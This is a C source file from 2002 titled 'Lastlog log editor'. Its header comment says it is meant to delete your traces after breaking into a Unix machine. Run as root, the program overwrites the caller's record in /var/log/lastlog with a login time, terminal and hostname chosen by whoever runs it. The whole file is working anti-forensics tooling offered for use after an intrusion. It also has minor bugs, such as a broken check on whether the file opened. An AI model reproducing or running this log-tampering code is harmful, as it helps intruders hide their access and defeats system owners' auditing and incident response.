/*
 * Lastlog log editor 
 *
 * Useful to delete your traces when you break into a 
 * Unix machine, on which syslog daemon is running.
 *
 * Copyright (c) Danny (Dr.T) 2002
 * admin@ebcvg.com, danny@any-mail.co.uk
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <lastlog.h>
#include <fcntl.h>
#include <memory.h>

static char *s_hname = NULL; /* hostname */
static char *s_tdate = NULL; /* time & date */
static char *s_term  = NULL; /* s_terminal/port */

static void usage(char *argv)
{
	/* print usage for LastLog editor */
	printf("LastLog Editor by Danny (Dr.T)\nUsage: %s [options]", argv);
	printf(" [-h hostname]");
	printf(" -d date");
	printf(" -t s_terminal\n");
	exit(-1);
}

static void free_memory_and_exit(char *msg)
{
	if (msg)
		fprintf(stderr, "Error: %s\n", msg);

	if (s_hname)
	{
		free(s_hname);
		s_hname = NULL;
	}
	if (s_tdate)
	{
		free(s_tdate);
		s_tdate = NULL;
	}
	if (s_term)
	{
		free(s_term);
		s_term = NULL;
	}

	exit(-1);
}

int main(int argc, char **argv)
{
	struct lastlog sll;
	int c,  file_hd = -1, sz_ll;		

	/* check if we are running as root */
	if (getuid() > 0)
	{
		free_memory_and_exit("only root can run me!!");
	}
	
	/* check if we got seven or five (hostname omitted) arguments */
	if (argc != 7 && argc != 5) 
		usage(argv[0]);
	
	while ((c = getopt(argc, argv, "h:d:t:")) != -1)
	{
		if (optarg == NULL)
			free_memory_and_exit("command line parsing failed");

		switch(c)
		{
			case 'h':
				if (strlen(optarg) > UT_HOSTSIZE - 1)
					free_memory_and_exit("hostname too long");

				s_hname = (char *)malloc(strlen(optarg)+1);
				if (s_hname == NULL)
					free_memory_and_exit("malloc() failed");
				strcpy(s_hname,optarg);
				break;
			case 'd':
				s_tdate = (char *)malloc(strlen(optarg)+1);
				if (s_tdate == NULL)
				{
					free_memory_and_exit("malloc() failed");
				}
				strcpy(s_tdate,optarg);
				break;
			case 't':
				s_term = (char *)malloc(strlen(optarg)+1);
				if (s_term == NULL)
				{
					free_memory_and_exit("malloc() failed");
				}
				strcpy(s_term,optarg);
				break;
			default:
				free_memory_and_exit("command line parsing failed");
				break;
		}
	}

	/* open lastlog file and check for errors */
	file_hd = open ("/var/log/lastlog", O_RDWR);
	if (file_hd < -1)
		free_memory_and_exit("open() /var/log/lastlog failed");

	/* get the lastlog struct size */	
	sz_ll = sizeof (struct lastlog);

	/* set file pointer to the UID lastlog structure */
	if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
		free_memory_and_exit("lseek() failed");
	
	/* read information about UID to sll */
	if ((read(file_hd, &sll, sz_ll)) < 0)
		free_memory_and_exit("read() failed");
	
	/* set new time & date */
	sll.ll_time = atoi(s_tdate);
	
	/* set new s_terminal/port */
	strncpy(sll.ll_line, s_term, sizeof(sll.ll_line));
	
	/* set the new hostname if specified */
	if (s_hname == NULL)
		sll.ll_host[0] = '\0';
	else
		strcpy(sll.ll_host, s_hname);
	
	/* set file pointer to the UID lastlog structure */
	if ((lseek(file_hd, sz_ll * getuid(), SEEK_SET)) < 0)
		free_memory_and_exit("lseek() failed");
	
	/* write new information */
	if ((write(file_hd, &sll, sz_ll)) < 0)
		free_memory_and_exit("write() failed");
	
	/* close /var/log/lastlog */
	close(file_hd);
	fprintf(stdout, "LastLog editor was successfully updated information\n");
}